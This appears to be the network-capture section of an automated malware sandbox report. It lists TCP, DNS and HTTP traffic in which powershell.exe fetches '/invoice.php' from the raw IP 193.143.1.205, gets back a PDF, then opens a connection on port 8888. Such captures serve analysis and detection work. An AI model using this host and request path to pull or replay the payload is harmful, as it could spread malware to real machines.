Jan 11, 2025 06:50:25.518748999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518769026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518783092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518815994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518843889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518851995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518886089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518918991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518953085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518953085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.518953085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.518990040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.519023895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.519043922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.519057989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.519095898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.519129038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.519164085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.519171953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.519171953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.519198895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.519232035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.519309998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.547832012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.547887087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.547924042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.547957897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.547975063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.547975063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.547995090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.548029900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.548053026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.548069000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.548183918 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.576781988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.576857090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.576910973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.576952934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.576982975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.576987028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577023983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577075005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.577075005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.577079058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577117920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577156067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577188969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.577191114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577246904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577250004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.577300072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577337027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577373981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577374935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.577414036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577435017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.577452898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577486038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577519894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577529907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.577553988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577589989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577610016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.577622890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577645063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.577658892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577692986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577727079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577759027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577773094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.577785969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.577794075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577830076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577864885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577887058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.577898026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.577919006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.577934027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.578021049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.606448889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.606524944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.606635094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.606663942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.606689930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.606725931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.606745958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.606760025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.606796026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.606822014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.606831074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.606884003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.606919050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.606940031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.606971025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607006073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.607021093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607072115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607095003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.607108116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607166052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607196093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607237101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.607237101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.607254982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607336998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607391119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607394934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.607428074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607465029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607500076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.607517004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607575893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607609034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607637882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607646942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.607646942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.607673883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607707977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607731104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.607758999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607793093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607812881 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.607826948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607878923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607881069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.607908010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607940912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.607952118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.607976913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608010054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608030081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.608063936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608113050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608117104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.608165979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608198881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608211994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.608234882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608268023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608293056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.608319044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608350992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608364105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.608387947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608421087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608455896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608485937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.608488083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608509064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.608522892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608556032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608607054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608608961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.608640909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608663082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.608680964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608715057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608735085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.608750105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608783960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608819008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608833075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.608853102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608886957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608908892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.608920097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608937979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.608953953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.608989000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609006882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.609021902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609055042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609078884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.609088898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609122038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609146118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.609157085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609190941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609210968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.609225035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609260082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609292984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609293938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.609328985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609349012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.609365940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609400034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609409094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.609433889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609467030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609489918 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.609502077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609539032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609572887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609607935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.609617949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.609617949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.636298895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.636356115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.636363029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.636394024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.636429071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.636455059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.636464119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.636498928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.636538029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.636578083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.636578083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.667423964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.667485952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.667536974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.891699076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.891802073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.978425980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.983499050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.983516932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.983530998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.983577967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.985992908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.990941048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.990993977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.990998983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991035938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991075993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.991086960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991122007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991172075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991173983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.991229057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991264105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991276979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.991301060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991336107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.991369963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991405010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991437912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991455078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.991473913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991522074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.991525888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991560936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991602898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991602898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.991637945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991671085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991676092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.991704941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991739035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991749048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.991774082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991811991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991821051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.991846085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991878986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991888046 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.991914988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991949081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.991959095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.991983891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.992018938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.992031097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.992053986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.992089033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.992100000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.992125034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.992160082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.992171049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:25.992194891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:25.992229939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:26.205683947 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:26.211142063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:26.400228977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:26.814585924 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:26.819509029 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:26.819634914 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:26.820000887 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:26.824798107 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:27.609704018 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 06:50:27.649873972 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 06:50:27.827469110 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:50:34.527020931 CET	53175	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:50:34.527020931 CET	192.168.2.8	1.1.1.1	0x3e74	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:50:34.535729885 CET	1.1.1.1	192.168.2.8	0x3e74	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:50:35.225460052 CET	1.1.1.1	192.168.2.8	0x7794	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:50:35.225460052 CET	1.1.1.1	192.168.2.8	0x7794	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:51:40.470258951 CET	1.1.1.1	192.168.2.8	0x7f95	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:51:40.470258951 CET	1.1.1.1	192.168.2.8	0x7f95	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	8012	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:50:24.131464958 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:50:24.944982052 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:50:24 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
